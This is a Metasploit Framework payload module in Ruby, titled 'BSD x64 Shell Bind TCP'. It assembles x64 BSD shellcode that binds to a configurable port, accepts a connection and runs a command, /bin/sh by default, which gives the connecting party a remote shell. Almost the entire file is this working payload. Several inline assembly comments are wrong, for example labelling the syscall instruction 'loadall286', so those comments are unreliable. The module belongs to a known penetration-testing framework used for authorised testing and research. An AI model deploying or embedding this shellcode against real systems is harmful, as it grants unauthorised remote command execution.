1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 136
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Bsd
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'BSD x64 Shell Bind TCP',
18
        'Description' => 'Bind an arbitrary command to an arbitrary port',
19
        'Author' => [
20
          'nemo <nemo[at]felinemenace.org>',
21
          'joev'
22
        ],
23
        'License' => MSF_LICENSE,
24
        'Platform' => 'bsd',
25
        'Arch' => ARCH_X64,
26
        'Handler' => Msf::Handler::BindTcp,
27
        'Session' => Msf::Sessions::CommandShellUnix
28
      )
29
    )
30

31
    # exec payload options
32
    register_options(
33
      [
34
        OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
35
        Opt::LPORT(4444)
36
      ]
37
    )
38
  end
39

40
  # build the shellcode payload dynamically based on the user-provided CMD
41
  def generate(_opts = {})
42
    cmd = (datastore['CMD'] || '') + "\x00"
43
    port = [datastore['LPORT'].to_i].pack('n')
44
    call = "\xe8" + [cmd.length].pack('V')
45
    "\x31\xc0" + # xor eax,eax
46
      "\x83\xc0\x61" +             # add eax,0x61
47
      "\x6A\x02" +                 # push byte 0x1
48
      "\x5f" +                     # pop rdi
49
      "\x6A\x01" +                 # push byte 0x1
50
      "\x5e" +                     # pop rsi
51
      "\x48\x31\xD2" +             # xor rdx,rdx
52
      "\x0F\x05" +                 # loadall286
53
      "\x48\x89\xC7" +             # mov rdi,rax
54
      "\x31\xc0" +                 # xor eax,eax
55
      "\x83\xc0\x68" +             # add eax,0x68
56
      "\x48\x31\xF6" +             # xor rsi,rsi
57
      "\x56" +                     # push rsi
58
      "\xBE\x00\x02" + port +      # mov esi,0xb3150200
59
      "\x56" +                     # push rsi
60
      "\x48\x89\xE6" +             # mov rsi,rsp
61
      "\x6A\x10" +                 # push 0x10
62
      "\x5A" +                     # pop rdx
63
      "\x0F\x05" +                 # loadall286
64
      "\x31\xc0" +                 # xor eax,eax
65
      "\x83\xc0\x6A" +             # add eax,0x6a
66
      "\x48\x31\xF6" +             # xor rsi,rsi
67
      "\x48\xFF\xC6" +             # inc rsi
68
      "\x49\x89\xFC" +             # mov r12,rdi
69
      "\x0F\x05" +                 # loadall286
70
      "\x31\xc0" +                 # xor eax,eax
71
      "\x83\xc0\x1E" +             # add eax,0x1e
72
      "\x4C\x89\xE7" +             # mov rdi,r12
73
      "\x48\x89\xE6" +             # mov rsi,rsp
74
      "\x48\x89\xE2" +             # mov rdx,rsp
75
      "\x48\x83\xEA\x04" +         # sub rdx,byte +0x4
76
      "\x0F\x05" +                 # loadall286
77
      "\x48\x89\xC7" +             # mov rdi,rax
78
      "\x31\xc0" +                 # xor eax,eax
79
      "\x83\xc0\x5A" +             # add eax,0x5a
80
      "\x48\x31\xF6" +             # xor rsi,rsi
81
      "\x0F\x05" +                 # loadall286
82
      "\x31\xc0" +                 # xor eax,eax
83
      "\x83\xc0\x5A" +             # add eax,0x5a
84
      "\x48\xFF\xC6" +             # inc rsi
85
      "\x0F\x05" +                 # loadall286
86
      "\x48\x31\xC0" +             # xor rax,rax
87
      "\x31\xc0" +                 # xor eax,eax
88
      "\x83\xc0\x3b" +             # add eax,0x3b
89
      call +                       # call CMD.len
90
      cmd +                        # CMD
91
      "\x48\x8b\x3c\x24" +         # mov rdi, [rsp]
92
      "\x48\x31\xD2" +             # xor rdx,rdx
93
      "\x52" +                     # push rdx
94
      "\x57" +                     # push rdi
95
      "\x48\x89\xE6" +             # mov rsi,rsp
96
      "\x0F\x05"                   # loadall286
97
  end
98
end
99

100